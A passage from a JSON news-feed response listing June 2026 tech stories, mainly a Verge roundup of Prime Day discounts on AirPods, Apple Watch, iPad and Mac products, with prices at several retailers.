(118th Congress).11:25 AM????Claude responded: Requires the Secretary of Defense to designate Department of Defense activities, support, and operations at the southwest land border as a named operation with…\"\nAt first, Luna's response seemingly indic …\nRead the full story at The Verge.","url":"https://www.theverge.com/policy/956394/florida-anna-paulina-luna-anthropic-claude","imageUrl":"https://platform.theverge.com/wp-content/uploads/sites/2/2025/01/STK481_STK432_CONGRESS_GOVERNMENT_CIVRGINIA_C.jpg?quality=90&#038;strip=all&#038;crop=0,0,100,100","domain":"The Verge","pubDate":"2026-06-24T19:36:46.000Z","hasFullContent":false,"language":"en","region":"us"},{"title":"OpenAI and Broadcom announce chip designed for LLM inference at scale","description":"The silicon race is heating up amid the struggle to keep up with demand.","url":"https://arstechnica.com/gadgets/2026/06/openai-and-broadcom-announce-chip-designed-for-llm-inference-at-scale/","imageUrl":"https://cdn.arstechnica.net/wp-content/uploads/2026/06/openai-broadcom-jalapeno-inference-chip-image-1152x648.webp","domain":"Ars Technica","pubDate":"Wed, 24 Jun 2026 22:28:18 +0000","hasFullContent":false,"language":"en","region":"us"},{"title":"This year’s Prime Day deals on Apple products are the best I’ve seen","description":"The AirPods Max 2 have some updates on the inside, but look identical to the original AirPods Max. | Photo by Amelia Holowaty Krales / The Verge\t\n\nAmazon’s Prime Day is now in its second day, and whether you’re looking for a new pair of wireless earbuds or a smartwatch, there’s a good chance you’ll find a discount. The Apple Watch Series 11 has already dropped to a new low price, while the AirPods Pro 3 are discounted to $179. With Tim Cook warning that price hikes are coming, now may be the moment if you’ve been eyeing one of the company’s devices.\nBelow are the best Apple deals currently available. Some are exclusive to Prime Day, while others are simply great discounts we think are worth highlighting. We’ll continue updating this guide throughout Prime Day, highlighting more deals as they become available.\nEarbud and headphone deals\nAirPods Pro 3\nThe latest AirPods Pro offer improved noise cancellation and richer bass, along with built-in heart sensors that work with Apple’s Fitness app to monitor calories burned across more than 50 workouts. Read our review.\n\nWhere to Buy:\n\n $249 $179 at Walmart\n $249 $179.99 at Best Buy\n\nThe AirPods 4 are on sale at Amazon, Walmart, and Best Buy for around $99 ($30 off). Apple’s entry-level earbuds offer richer bass than previous generations along with a more robust IP54 rating for water and dust resistance. They match the latest AirPods Pro in voice call quality and work well with other Apple devices too, though they lack more advanced features like active noise cancellation. It might be a pro or con to some that this model simply rests in your ear. They don’t create a tight seal like the AirPods Pro.\nThe AirPods 4 with Active Noise Cancellation and wireless charging are also on sale at Amazon, Walmart, and Best Buy for $148.99 ($30 off). It’s a solid deal, but given the AirPods Pro 3 are currently available for about $30 or so more, we’d recommend buying those instead. They drown out noise better and offer additional features like a heart rate sensor that justify the small price difference. Read our review.\nAirPods Max 2\nApple’s over-ears retain the premium design of the original while delivering improved sound quality and better noise cancellation. They also sport Apple’s H2 chip, which enables newer features like live translation. Read our review.\n\nWhere to Buy:\n\n $549 $399 at Amazon\n $549 $399 at Walmart\n\nThe Beats Powerbeats Fit are on sale for $159.95 ($40 off) at Amazon and Best Buy, which is $20 shy of their all-time low and their second-best price to date. Like all Beats earbuds and headphones, the noise-canceling Fit are platform-agnostic and natively support a number of iOS and Android features like one-step pairing and Find My support. The Beats Fit Pro successor also features a redesigned wingtip with built-in silicone fins and ear tips that are designed to provide a more secure fit during workouts than traditional earbuds.\nThe Beats Powerbeats Pro 2 are on sale for $179.95 ($90 off) at Amazon, Best Buy, and Walmart, which is also $20 shy of their all-time low price. Their ear-hook design helps keep them securely in place, while Apple’s H2 chip grants access to AirPods Pro features like Adaptive Audio, Conversation Awareness, and better noise cancellation than you’ll get with the Powerbeats Fit. Plus, unlike the Fit, they support wireless charging. Read our review.\nBeats Studio Pro\nThe latest Beats Studio Pro feature improved noise cancellation, sound quality, and comfort. They also support lossless audio over USB-C and offer native support for a range of iOS and Android features like other Beats headphones. Read our review.\n\nWhere to Buy:\n\n $349.99 $132.05 at Amazon\n $349.99 $132.05 at Walmart\n $349.99 $149.99 at Best Buy\n\nThe Beats Solo 4 have dropped to $99.95 ($100 off) at Amazon and Walmart, which is $10 more than their all-time low we saw last year. The wireless headphones offer a noticeable step up in performance from the Beats Solo 3, delivering more detailed sound and support for lossless audio over the included USB-C or 3.5mm cable. They also provide up to 50 hours of battery life, plus comfortable memory foam ear cushions, though they don’t include active noise cancellation. Read our review.\nYou can buy the Beats Studio Buds Plus on sale for $89.95 ($80 off) at Amazon, Best Buy, and Target, which is one of their better prices to date. The wireless earbuds offer good active noise cancellation along with four swappable ear tips for a comfortable, secure fit (though perhaps not as secure as the Powerbeats Pro 2). They also sport a slick translucent colorway and can last up to 27 hours on a single charge. Read our review.\nApple Watch deals\nApple Watch Series 11 (42mm, GPS)\nAlthough the Apple Watch Series 11 is the same size as its predecessor, it features a display that’s twice as durable, 5G modem on cellular models, and slightly improved battery life. Read our review.\n\nWhere to Buy:\n\n $399 $279 at Amazon\n $399 $279 at Walmart\n\nYou can buy the Apple Watch Ultra 3 with an Ocean Band, Trail Loop strap, and Alpine Loop strap for $649 ($150 off) at Amazon, which is a new low price. The Ultra 3 is Apple’s most rugged and feature-packed smartwatch, making it a great choice for athletes and outdoorsy folks. It delivers up to 42 hours of battery life — six hours more than its predecessor — and features a larger wide-angle OLED display with a refresh rate that goes down to just 1Hz for battery savings, plus slimmer bezels. It also supports both satellite connectivity and 5G. Read our review.\nApple Watch SE 3\nThe Apple Watch SE 3 offers some big upgrades over its predecessor, including an always-on display, allowing you to glance at the time or unread notifications. It also has Apple’s powerful S10 chip, which enables on-device Siri requests. Read our review.\n\nWhere to Buy:\n\n $249 $199 at Amazon (40mm, GPS)\n $249 $219 at Best Buy (40mm, GPS)\n\nIf you’re looking to change up the look of your Apple Watch Series 11, Woot is selling a variety of Apple Watch bands starting at $14.99 ($35 off) through June 26th. They’re available in multiple colors, sizes, and styles, and the deal marks a new low price.\niPad deals\niPad (2025)\nApple’s entry-level iPad is an excellent tablet for casual use, even if it is getting a little long in the tooth. Its high-res screen is great for watching video, and its A16 processor is still fast enough to handle light games and productivity apps. Read our review.\n\nWhere to Buy:\n\n $349 $299 at Amazon (128GB, Wi-Fi)\n $349 $299 at Walmart (128GB, Wi-Fi)\n $349 $299 at Best Buy (128GB, Wi-Fi)\n\nThe 11-inch M4-powered iPad Air is on sale for $519 ($79 off) at Amazon and Best Buy, which is its best price to date. The Air is a sizable step up from Apple’s entry-level iPad, combining a faster M4 chip with 12GB of RAM, Apple Intelligence features, and support for the Apple Pencil Pro. It also includes newer connectivity standards like Wi-Fi 7 and Bluetooth 6, making it more future-proof. Read our review.\nThe 13-inch M4-powered iPad Air is on sale for $699.99 ($100 off), which is its second-best price, at Best Buy. The tablet is identical to the 11-inch model, but sports a larger display that’s better suited for multitasking.\nThe Apple Magic Keyboard for the 13-inch iPad Air (M2, M3, and M4 models) is on sale for $279 ($40 off) at Amazon, which is just $2 shy of its all-time low price. The accessory combines a keyboard and built-in trackpad, features adjustable viewing angles and USB-C support, and magnetically attaches to compatible 13-inch iPad Air models.\nApple Pencil (USB-C)\nApple-s entry-level stylus attaches magnetically on supported iPads, though it doesn’t support magnetic charging. Instead, you pair and charge it by connecting it to your device’s USB-C port. it comes with features like tilt sensitivity and Apple Pencil Hover support, but it doesn’t support double-tap gestures and pressure sensitivity.\n\nWhere to Buy:\n\n $79 $59 at Amazon\n $79 $59 at Walmart\n $79 $59 at Best Buy\n\nOther Apple deals\nApple AirTags (second-generation)\nApple’s latest AirTag features an upgraded ultra-wideband chip for more precise location tracking, a noticeably louder speaker, and an expanded Bluetooth range. Read our review.\n\nWhere to Buy:\n\n $99 $89 at Amazon (pack of four)\n $99 $89 at Best Buy (pack of four)\n\n\nApple MagSafe Charger (2m)\nApple’s latest MagSafe charger fully supports the newer Qi2.2 standard, allowing it to charge compatible devices (including the iPhone 17 series and Google’s Pixel 10 lineup) at 25W speeds.\n\nWhere to Buy:\n\n $49 $28 at Amazon\n\nYou can buy a pack of four first-generation AirTags on sale for $69.99 at Woot, which isn’t the lowest price we’ve seen but still a decent $30 discount off the original price. The last-gen AirTags aren’t as precise as the newer model and don’t feature as loud of a built-in speaker, but they still offer more impressive item tracking than other competitors when paired with an iPhone. Read our review.\nThe 13-inch MacBook Air is available with an M5 chip, 16GB of RAM, and a 512GB SSD for $949.99 ($149 off) at Amazon, which is $50 shy of its all-time low price. The 15-inch model, meanwhile, is also on sale at Amazon and Best Buy for $1,149, which is also $50 more than its record low. Both laptops deliver excellent everyday performance, with SSD read and write speeds that rival the M5-powered MacBook Pro, along with long battery life, a comfortable keyboard, and support for Wi-Fi 7. Read our review.\nThe Apple Magic Mouse is on sale for $59.99 ($19 off) at Amazon, which is a new low price. The wireless mouse features a multi-touch surface for gestures like scrolling and swiping between web pages, and a battery that lasts about a month on a single charge. It also pairs automatically with compatible Macs and charges via USB-C.\nUpdate, June 24th: Adjusted prices and availability, and added deals for Apple’s MagSafe Charger as well as the Apple Magic Keyboard.","url":"https://www.theverge.com/gadgets/949350/amazon-prime-day-sale-best-apple-deals-2026","imageUrl":"https://platform.theverge.com/wp-content/uploads/sites/2/2026/03/268418_Apple_AirPods_Max_2_AKrales_0416.jpg?quality=90&#038;strip=all&#038;crop=0,0,100,100","domain":"The Verge","pubDate":"2026-06-24T21:58:59.000Z","hasFullContent":false,"language":"en","region":"us"}],"totalResults":42,"page":1,"totalPages":3}